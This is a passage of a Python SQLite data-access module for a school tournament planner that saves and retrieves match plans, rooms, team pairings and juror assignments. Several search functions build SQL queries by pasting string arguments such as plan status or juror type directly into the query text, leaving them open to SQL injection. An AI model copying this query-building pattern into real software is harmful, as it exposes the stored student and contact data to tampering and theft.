\"-\" + str(team_plan[team_code_a - 1]['school_id']) + \"-\" + str(\n team_plan[team_code_b - 1]['school_id'])\n # add record to MPAIR\n _c.execute(\n \"insert into MPAIR (EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, MPAIR_SIDS, PLAN_ID, CREATED_BY, CREATED_DATE) \"\n \"values(?, ?, ?, ?, ?, ?, ?)\",\n (current_event_round_id, current_mroom_id, current_mpair_code_label, tmp_school_ids_str, new_plan_id, current_user_id, current_timestamp))\n new_mpair_id = _c.lastrowid\n # - insert to MPAIR_TEAM for team a and team b\n _c.execute(\n \"insert into MPAIR_TEAM (MPAIR_ID, MTEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?)\",\n (new_mpair_id, current_mteam_a_id, team_code_a, new_plan_id, current_user_id, current_timestamp))\n _c.execute(\n \"insert into MPAIR_TEAM (MPAIR_ID, MTEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?)\",\n (new_mpair_id, current_mteam_b_id, team_code_b, new_plan_id, current_user_id, current_timestamp))\n\n # - insert to MPAIR_JUROR for chairs\n for juror_code in current_room_jurors_code:\n current_mjuror_id = new_mjuror_id_list[juror_code-1]\n _c.execute(\n \"insert into MPAIR_JUROR (MPAIR_ID, MJUROR_ID, MJUROR_CODE, EVENT_ROUND_ID2, MROOM_ID2, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (new_mpair_id, current_mjuror_id, juror_code, current_event_round_id, current_mroom_id, new_plan_id, current_user_id, current_timestamp))\n else:\n # no pair assigned to current room and current round\n # - insert to MPAIR_JUROR\n for juror_code in current_room_jurors_code:\n current_mjuror_id = new_mjuror_id_list[juror_code-1]\n _c.execute(\n \"insert into MPAIR_JUROR (MJUROR_ID, MJUROR_CODE, EVENT_ROUND_ID2, MROOM_ID2, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?)\",\n (current_mjuror_id, juror_code, current_event_round_id, current_mroom_id, new_plan_id, current_user_id, current_timestamp))\n\n _conn.commit()\n _conn.close()\n\n\n# This function is to save the final match plan to the database:\n# - Insert to EVENT_PLAN: return plan_id (type = fm)\n# - mteam_id, mroom_id, mjuror_id\n# - insert to MPAIR: return mpair_id\n# - insert to MPAIRE_TEAM\n# - insert to MPAIR_JUROR (CHAIR and moved juror)\ndef db_save_fm_proposal(event_id, fm_round_id, fm_room_id, jury, fm_teams, current_user_id,\n app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n current_timestamp = str(datetime.datetime.now())\n\n # - Insert to EVENT_PLAN (2-fm, proposed): return plan_id\n print(\"***1: Insert to EVENT_PLAN: return plan_id\")\n _c.execute(\n \"insert into EVENT_PLAN (EVENT_ID, EVENT_PLAN_TYPE, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?)\",\n (event_id, 2, current_user_id, current_timestamp))\n new_fm_plan_id = _c.lastrowid\n\n # - insert to MTEAM: return mteam_id\n # - insert to MROOM: return mroom_id\n # - insert to MJUROR for chair\n # - insert to MJUROR for moved jurors\n # - insert to MPAIR, MAPIR TEAM, MPAIR JUROR\n print(\"***2. insert to insert to MPAIR, MAPIR TEAM, MPAIR JUROR\")\n # get team a, b, c\n team_code_a = fm_teams[0][1]\n team_code_b = fm_teams[1][1]\n team_code_c = fm_teams[2][1]\n current_mpair_code_label = \"-\" + str(team_code_a) + \"-\" + str(team_code_b) + \"-\" + str(team_code_c)\n tmp_school_ids_str = \"-\" + str(fm_teams[0][2]) + \"-\" + str(fm_teams[1][2]) + \"-\" + str(fm_teams[2][2])\n # add record to MPAIR - 1 new record\n _c.execute(\n \"insert into MPAIR (EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, MPAIR_SIDS, PLAN_ID, CREATED_BY, CREATED_DATE) \"\n \"values(?, ?, ?, ?, ?, ?, ?)\",\n (fm_round_id, fm_room_id, current_mpair_code_label, tmp_school_ids_str, new_fm_plan_id,\n current_user_id, current_timestamp))\n new_fm_mpair_id = _c.lastrowid\n # - insert to MPAIR_TEAM for team a, team b and team c - 3 new records with same mpair_id\n _c.execute(\n \"insert into MPAIR_TEAM (MPAIR_ID, MTEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?)\",\n (new_fm_mpair_id, fm_teams[0][0], team_code_a, new_fm_plan_id, current_user_id, current_timestamp))\n _c.execute(\n \"insert into MPAIR_TEAM (MPAIR_ID, MTEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?)\",\n (new_fm_mpair_id, fm_teams[1][0], team_code_b, new_fm_plan_id, current_user_id, current_timestamp))\n _c.execute(\n \"insert into MPAIR_TEAM (MPAIR_ID, MTEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?)\",\n (new_fm_mpair_id, fm_teams[2][0], team_code_c, new_fm_plan_id, current_user_id, current_timestamp))\n\n # - insert to MPAIR_JUROR for current mpair- multiple new records with same mpair_id\n for juror in jury:\n current_mjuror_id = juror[0]\n juror_code = juror[1]\n _c.execute(\n \"insert into MPAIR_JUROR (MPAIR_ID, MJUROR_ID, MJUROR_CODE, EVENT_ROUND_ID2, MROOM_ID2, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (new_fm_mpair_id, current_mjuror_id, juror_code, fm_round_id, fm_room_id, new_fm_plan_id, current_user_id, current_timestamp))\n\n _conn.commit()\n _conn.close()\n\n\n# This function is to save the proposed plan to the database:\n# - Insert to EVENT_PLAN: return plan_id\n# - insert to MTEAM: return mteam_id\n# - insert to MROOM: return mroom_id\n# - insert to MPAIR: return mpair_id\n# - insert to MPAIRE_TEAM\n# - insert to MJUROR\n# - insert to MPAIR_JUROR\ndef db_save_proposal_old(event_id, round_room_team_plan, juror_plan, juror_alternatives, current_user_id, app_db_web_location=app_db_web_location_default, last_event_round_id=0):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n current_timestamp = str(datetime.datetime.now())\n round_plan = round_room_team_plan[0]\n room_plan = round_room_team_plan[1]\n team_plan = round_room_team_plan[2]\n\n # - Insert to EVENT_PLAN: return plan_id\n print(\"***1: Insert to EVENT_PLAN: return plan_id\")\n _c.execute(\n \"insert into EVENT_PLAN (EVENT_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?)\",\n (event_id, current_user_id, current_timestamp))\n new_plan_id = _c.lastrowid\n print(\"***--- new plan id = \", new_plan_id)\n\n # - insert to MTEAM: return mteam_id\n print(\"***2: insert to MTEAM: return mteam_id\")\n new_mteam_id_list = []\n for team in team_plan:\n _c.execute(\n \"insert into MTEAM (EVENT_TEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?)\",\n (team['team_id'], team['team_code'], new_plan_id, current_user_id, current_timestamp))\n new_mteam_id = _c.lastrowid\n print(\"***--- new mteam_id = \", new_mteam_id)\n new_mteam_id_list.append(new_mteam_id)\n\n # - insert to MROOM: return mroom_id\n print(\"***3: insert to MROOM: return mroom_id\")\n alpha = 'A'\n new_mroom_id_list = []\n for room in room_plan:\n tmp_school_id_list = None\n for school_id in room['room_cois']:\n if tmp_school_id_list is None:\n tmp_school_id_list = \"-\" + str(school_id)\n else:\n tmp_school_id_list = tmp_school_id_list + \"-\" + str(school_id)\n\n _c.execute(\n \"insert into MROOM (EVENT_ROOM_ID, MROOM_CODE, MROOM_LABEL, MROOM_COI_SIDS, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?)\",\n (room['room_id'], room['room_code'], alpha, tmp_school_id_list, new_plan_id, current_user_id, current_timestamp))\n new_mroom_id = _c.lastrowid\n print(\"***--- new mteam_id = \", new_mroom_id)\n new_mroom_id_list.append(new_mroom_id)\n alpha = chr(ord(alpha) + 1)\n\n # - insert to MJUROR\n print(\"***4. insert to insert to MJUROR\")\n new_mjuror_id_list = []\n for juror in juror_plan:\n current_juror_code = juror['juror_code']\n current_ppant_id = juror['juror_info'][0]\n current_mroom_id = new_mroom_id_list[juror['room_code'] - 1]\n current_juror_timeslots = juror['juror_info'][11] + \"-\" + juror['juror_info'][12]+ \"-\" + juror['juror_info'][13] + \"-\" + juror['juror_info'][14]\n current_juror_cois = None\n for coi_school in juror['juror_info'][3]:\n if current_juror_cois is None:\n current_juror_cois = \"-\" + str(coi_school[1])\n else:\n current_juror_cois = current_juror_cois + \"-\" + str(coi_school[1])\n _c.execute(\n \"insert into MJUROR (MJUROR_CODE, PPANT_ID, MROOM_ID, MJUROR_COI_SIDS, MJUROR_TIMESLOTS, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (current_juror_code, current_ppant_id, current_mroom_id, current_juror_cois, current_juror_timeslots, new_plan_id, current_user_id, current_timestamp))\n new_mjuror_id = _c.lastrowid\n print(\"***--- new mjuror_id = \", new_mjuror_id)\n new_mjuror_id_list.append(new_mjuror_id)\n\n # - insert to MPAIR: return mpair_id\n print(\"***5. insert to MPAIR: return mpair_id\")\n for round in round_plan:\n current_event_round_id = last_event_round_id + round['round_code']\n\n i = -1\n for team in round['round_team_matches_code']:\n i += 1\n team_code_a = team[0]\n team_code_b = team[1]\n current_mroom_code_label = \"-\" + str(team_code_a) + \"-\" + str(team_code_b)\n current_mteam_a_id = new_mteam_id_list[team_code_a-1]\n current_mteam_b_id = new_mteam_id_list[team_code_b-1]\n current_mroom_id = new_mroom_id_list[round['round_team_matches_room_codes'][i] - 1]\n tmp_school_ids_str = \"-\" + str(round['round_team_matches_school_ids'][i][0]) + \"-\" + str(round['round_team_matches_school_ids'][i][1])\n # add record to MPAIR\n _c.execute(\n \"insert into MPAIR (EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, MPAIR_SIDS, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?)\",\n (current_event_round_id, current_mroom_id, current_mroom_code_label, tmp_school_ids_str, new_plan_id, current_user_id, current_timestamp))\n new_mpair_id = _c.lastrowid\n # - insert to MPAIRE_TEAM for team a and team b\n print(\"***6. insert to MPAIRE_TEAM for team a and team b\")\n _c.execute(\n \"insert into MPAIR_TEAM (MPAIR_ID, MTEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?)\",\n (new_mpair_id, current_mteam_a_id, team_code_a, new_plan_id, current_user_id, current_timestamp))\n _c.execute(\n \"insert into MPAIR_TEAM (MPAIR_ID, MTEAM_ID, MTEAM_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?)\",\n (new_mpair_id, current_mteam_b_id, team_code_b, new_plan_id, current_user_id, current_timestamp))\n\n _conn.commit()\n _conn.close()\n\n\n# Search all the plans for specific event with optional status\ndef search_event_plan(event_id, plan_status, plan_type, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if plan_type == 0:\n if plan_status is None or len(plan_status) < 1:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_PLAN_ID, EVENT_PLAN_STATUS, EVENT_PLAN_TYPE, EVENT_PLAN_SUB_STATUS \" \\\n \"FROM EVENT_PLAN \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"ORDER by EVENT_PLAN_ID\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_PLAN_ID, EVENT_PLAN_STATUS, EVENT_PLAN_TYPE, EVENT_PLAN_SUB_STATUS \" \\\n \"FROM EVENT_PLAN \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND EVENT_PLAN_STATUS='\" + plan_status + \"' \" \\\n \"ORDER by EVENT_PLAN_ID\" \\\n \";\"\n else:\n if plan_status is None or len(plan_status) < 1:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_PLAN_ID, EVENT_PLAN_STATUS, EVENT_PLAN_TYPE, EVENT_PLAN_SUB_STATUS \" \\\n \"FROM EVENT_PLAN \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND EVENT_PLAN_TYPE=\" + str(plan_type) + \" \" \\\n \"ORDER by EVENT_PLAN_ID\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"EVENT_ID, EVENT_PLAN_ID, EVENT_PLAN_STATUS, EVENT_PLAN_TYPE, EVENT_PLAN_SUB_STATUS \" \\\n \"FROM EVENT_PLAN \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND EVENT_PLAN_STATUS='\" + plan_status + \"' \" \\\n \"AND EVENT_PLAN_TYPE=\" + str(plan_type) + \" \" \\\n \"ORDER by EVENT_PLAN_ID\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search all the pairs for specific plan order to by round and room\ndef search_mpair(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, MPAIR_SIDS, MPAIR_LABEL \" \\\n \"FROM MPAIR \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, EVENT_ROUND_ID, MROOM_ID\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the pairs for specific event by room and by round\ndef get_mpair_by_room_round(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair(plan_id, app_db_web_location) # the search_mpair is by round and by room, need to create a new search function\n current_mroom_id = 0\n mpair_list = []\n tmp_round_list = []\n tmp_round_id = 0\n tmp_mpair_code_label = None\n tmp_mpair_sids = []\n for row in result_rows:\n if row[3] != current_mroom_id:\n if current_mroom_id >0:\n tmp_tuple2 = (current_mroom_id, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n current_mroom_id = row[3]\n tmp_round_list = []\n\n tmp_tuple_round = (row[2], row[4], row[5]) # round_id, mpair_code_label, mpair_sids\n tmp_round_list.append(tmp_tuple_round)\n\n if current_mroom_id >0:\n tmp_tuple2 = (current_mroom_id, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n return mpair_list\n\n\n# get all the pairs for specific event by round and by room\ndef get_mpair_by_round_room(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair(plan_id, app_db_web_location)\n current_round_id = 0\n mpair_list = []\n tmp_round_list = []\n tmp_room_id = 0\n tmp_mpair_code_label = None\n tmp_mpair_sids = []\n for row in result_rows:\n if row[2] != current_round_id:\n if current_round_id >0:\n tmp_tuple2 = (current_round_id, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n current_round_id = row[2]\n tmp_round_list = []\n\n tmp_tuple_round = (row[3], row[4], row[5]) # room_id, mpair_code_label, mpair_sids\n tmp_round_list.append(tmp_tuple_round)\n\n if current_round_id >0:\n tmp_tuple2 = (current_round_id, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n return mpair_list\n\n\n# Search all the pairs for specific plan order to by round and room code\ndef search_mpair_by_code(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_ID, ROUND_CODE, MROOM_CODE, MPAIR_CODE_LABEL, MPAIR_SIDS, MPAIR_LABEL, \" \\\n \"EVENT_ROUND_ID, MROOM_ID \" \\\n \"FROM v_mpair \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, EVENT_ROUND_ID, MROOM_ID\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the pairs for specific event by round and by room code\ndef get_mpair_by_round_room_code(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair(plan_id, app_db_web_location)\n current_round_id = 0\n mpair_list = []\n tmp_round_list = []\n tmp_room_id = 0\n tmp_mpair_code_label = None\n tmp_mpair_sids = []\n for row in result_rows:\n if row[2] != current_round_id:\n if current_round_id >0:\n tmp_tuple2 = (current_round_id, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n current_round_id = row[2]\n tmp_round_list = []\n\n tmp_tuple_round = (row[3], row[4], row[5]) # room_id, mpair_code_label, mpair_sids\n tmp_round_list.append(tmp_tuple_round)\n\n if current_round_id >0:\n tmp_tuple2 = (current_round_id, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n return mpair_list\n\n\n# Search all the paired teams for specific plan order by round and team code\ndef search_mpair_team_by_round_team(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\\n \"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE \" \\\n \"FROM v_mpair_team \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, ROUND_CODE, MTEAM_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the MPAIR TEAMS for specific plan by round and by team code\ndef get_mpair_team_by_round_team(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair_team_by_round_team(plan_id, app_db_web_location)\n current_round_id = 0\n mpair_list = []\n tmp_round_list = []\n for row in result_rows:\n if row[3] != current_round_id:\n if current_round_id >0:\n tmp_tuple2 = (current_round_id, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n current_round_id = row[3]\n tmp_round_list = []\n\n tmp_tuple_round = (row[1], row[7], row[2], row[6], row[4]) # mpair_team_id, mteam_id, mpair_id, team_code, mroom_id\n tmp_round_list.append(tmp_tuple_round)\n\n if current_round_id >0:\n tmp_tuple2 = (current_round_id, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n return mpair_list\n\n\n# Search all the rooms for specific plan order by rooom_id\ndef search_mroom(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MROOM_ID, EVENT_ROOM_ID, MROOM_CODE, MROOM_LABEL, MROOM_COI_SIDS \" \\\n \"FROM MROOM \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, MROOM_ID\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search all the rooms for specific plan order by rooom_id\ndef search_mroom_assigned_to_data_entry(plan_id, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n data_entry = \"Yes\"\n ppant_user_id = current_user_id\n\n command = \"SELECT DISTINCT \" \\\n \"PLAN_ID, PPANT_USER_ID, MROOM_ID, MROOM_CODE, MROOM_LABEL, DATA_ENTRY \" \\\n \"FROM v_mvolunteers \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND PPANT_USER_ID=\" + str(ppant_user_id) + \" \" \\\n \"AND DATA_ENTRY='\" + data_entry + \"' \" \\\n \"ORDER by PLAN_ID, PPANT_USER_ID, MROOM_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the mvolunteers for specific event by room\ndef get_mvolunteer_by_room(plan_id, mvolunteer_type=None, app_db_web_location=app_db_web_location_default):\n result_rows = search_mvolunteer_by_room(plan_id, mvolunteer_type, app_db_web_location)\n current_room_id = 0\n mvolunteer_list = []\n tmp_volunteer_list = []\n for row in result_rows:\n if row[3] != current_room_id:\n if current_room_id >0:\n tmp_tuple2 = (current_room_id, tmp_volunteer_list)\n mvolunteer_list.append(tmp_tuple2)\n\n current_room_id = row[3]\n tmp_volunteer_list = []\n # PLAN_ID, MVOLUNTEER_ID, MVOLUNTEER_CODE, MROOM_ID, MVOLUNTEER_TYPE, MVOLUNTEER_COI_SIDS, DATA_ENTRY\n tmp_tuple_volunteer = (row[1], row[2], row[3], row[4], row[5], row[6])\n tmp_volunteer_list.append(tmp_tuple_volunteer)\n\n if current_room_id >0:\n tmp_tuple2 = (current_room_id, tmp_volunteer_list)\n mvolunteer_list.append(tmp_tuple2)\n\n return mvolunteer_list\n\n\n# Search all the jurors for specific plan order by room id\ndef search_mvolunteer_by_room(plan_id, mvolunteer_type=None, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if mvolunteer_type is None:\n command = \"SELECT \" \\\n \"PLAN_ID, MVOLUNTEER_ID, MVOLUNTEER_CODE, MROOM_ID, MVOLUNTEER_TYPE, MVOLUNTEER_COI_SIDS, DATA_ENTRY \" \\\n \"FROM MVOLUNTEER \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, MROOM_ID, MVOLUNTEER_CODE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"PLAN_ID, MVOLUNTEER_ID, MVOLUNTEER_CODE, MROOM_ID, MVOLUNTEER_TYPE, MVOLUNTEER_COI_SIDS, DATA_ENTRY \" \\\n \"FROM MVOLUNTEER \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MVOLUNTEER_TYPE='\" + mvolunteer_type + \"' \" \\\n \"ORDER by PLAN_ID, MROOM_ID, MVOLUNTEER_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the plans for specific event by round and by room\ndef get_mjuror_by_room(plan_id, mjuror_type=None, app_db_web_location=app_db_web_location_default):\n result_rows = search_mjuror_by_room(plan_id, mjuror_type, app_db_web_location)\n current_room_id = 0\n mjuror_list = []\n tmp_juror_list = []\n for row in result_rows:\n if row[3] != current_room_id:\n if current_room_id >0:\n tmp_tuple2 = (current_room_id, tmp_juror_list)\n mjuror_list.append(tmp_tuple2)\n\n current_room_id = row[3]\n tmp_juror_list = []\n\n tmp_tuple_juror = (row[1], row[2], row[3], row[4], row[5]) # MJUROR_ID, MJUROR_CODE, MROOM_ID, MJUROR_TYPE, MJUROR_COI_SIDS\n tmp_juror_list.append(tmp_tuple_juror)\n\n if current_room_id >0:\n tmp_tuple2 = (current_room_id, tmp_juror_list)\n mjuror_list.append(tmp_tuple2)\n\n return mjuror_list\n\n\n# Search all the jurors for specific plan order by room id\ndef search_mjuror_by_room(plan_id, mjuror_type=None, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if mjuror_type is None:\n command = \"SELECT \" \\\n \"PLAN_ID, MJUROR_ID, MJUROR_CODE, MROOM_ID, MJUROR_TYPE, MJUROR_COI_SIDS \" \\\n \"FROM MJUROR \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, MROOM_ID, MJUROR_CODE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"PLAN_ID, MJUROR_ID, MJUROR_CODE, MROOM_ID, MJUROR_TYPE, MJUROR_COI_SIDS \" \\\n \"FROM MJUROR \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MJUROR_TYPE='\" + mjuror_type + \"' \" \\\n \"ORDER by PLAN_ID, MROOM_ID, MJUROR_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n# Search all the mteams for specific plan order by mteam code\ndef search_mteam_by_code(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MTEAM_CODE, MTEAM_ID, EVENT_TEAM_ID, TEAM_NAME, SCHOOL_ID, SCHOOL_NAME \" \\\n \"FROM v_team_mteam \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, MTEAM_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search all the mpair_jurors for specific plan order by round and room id for specific type of juror: chair or moved juror\ndef search_mpair_jurors_by_round_room(plan_id, mjuror_type=None, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n if mjuror_type is None:\n command = \"SELECT \" \\\n \"PLAN_ID, EVENT_ROUND_ID2, MROOM_ID2, MPAIR_ID, \" \\\n \"MPAIR_JUROR_ID, MJUROR_ID, MJUROR_CODE, MPAIR_JUROR_STATUS, MPAIR_JUROR_TYPE \" \\\n \"FROM MPAIR_JUROR \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, EVENT_ROUND_ID2, MROOM_ID2, MJUROR_CODE\" \\\n \";\"\n else:\n command = \"SELECT \" \\\n \"PLAN_ID, EVENT_ROUND_ID2, MROOM_ID2, MPAIR_ID, \" \\\n \"MPAIR_JUROR_ID, MJUROR_ID, MJUROR_CODE, MPAIR_JUROR_STATUS, MPAIR_JUROR_TYPE \" \\\n \"FROM MPAIR_JUROR \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MPAIR_JUROR_TYPE='\" + mjuror_type + \"' \" \\\n \"ORDER by PLAN_ID, EVENT_ROUND_ID2, MROOM_ID2, MJUROR_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# Search all the mpair_jurors for specific plan order by round and room id for specific type of juror: chair or moved juror\ndef get_mpair_jurors_by_round_room(plan_id, mjuror_type=None, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpair_jurors_by_round_room(plan_id, mjuror_type, app_db_web_location)\n current_round_id = 0\n tmp_room_id = 0\n tmp_room_juror_code_list = []\n mjuror_list = []\n tmp_room_jurors = []\n tmp_juror_list = []\n for row in result_rows:\n if row[1] != current_round_id:\n if tmp_room_id > 0:\n tmp_tuple1 = (tmp_room_id, tmp_juror_list, tmp_room_juror_code_list)\n tmp_room_jurors.append(tmp_tuple1)\n\n if current_round_id >0:\n tmp_tuple2 = (current_round_id, tmp_room_jurors)\n mjuror_list.append(tmp_tuple2)\n\n current_round_id = row[1]\n tmp_room_id = row[2]\n tmp_room_jurors = []\n tmp_juror_list = []\n tmp_room_juror_code_list = []\n\n if row[2] != tmp_room_id:\n if tmp_room_id > 0:\n tmp_tuple1 = (tmp_room_id, tmp_juror_list, tmp_room_juror_code_list)\n tmp_room_jurors.append(tmp_tuple1)\n\n tmp_juror_list=[]\n tmp_room_juror_code_list = []\n tmp_room_id = row[2]\n\n #PLAN_ID, EVENT_ROUND_ID2, MROOM_ID2, MPAIR_ID\n #MPAIR_JUROR_ID, MJUROR_ID, MJUROR_CODE, MPAIR_JUROR_STATUS, MPAIR_JUROR_TYPE\n tmp_tuple_juror = (row[4], row[5], row[6], row[7], row[8])\n tmp_juror_list.append(tmp_tuple_juror)\n tmp_room_juror_code_list.append(row[6])\n\n if tmp_room_id > 0:\n tmp_tuple1 = (tmp_room_id, tmp_juror_list, tmp_room_juror_code_list)\n tmp_room_jurors.append(tmp_tuple1)\n\n if current_round_id > 0:\n tmp_tuple2 = (current_round_id, tmp_room_jurors)\n mjuror_list.append(tmp_tuple2)\n\n return mjuror_list\n\n\n# Search all the mteams for specific plan order by mteam code from view\ndef search_mteams(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"EVENT_ID, PLAN_ID, MTEAM_CODE, MTEAM_ID, EVENT_TEAM_ID, TEAM_NAME, \" \\\n \"SCHOOL_ID, SCHOOL_NAME, SCHOOL_CITY, SCHOOL_PROVINCE, \" \\\n \"TEAM_MEMBER_ID, TEAM_MEMBER_USER_ID, TEAM_MEMBER_FIRST_NAME, TEAM_MEMBER_LAST_NAME, TEAM_MEMBER_DOB, \" \\\n \"TEAM_LEAD_ID, TEAM_LEAD_FIRST_NAME, TEAM_LEAD_LAST_NAME, TEAM_LEAD_EMAIL, TEAM_LEAD_TELEC \" \\\n \"FROM v_mteams \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MEMBER_STATUS='Approved' \" \\\n \"ORDER by PLAN_ID, MTEAM_CODE, TEAM_MEMBER_ID\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the mteams for specific plan order by mteam code from view\ndef get_mteams(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mteams(plan_id, app_db_web_location)\n current_mteam_code = 0\n tmp_mteam_name = None\n mteam_list = []\n 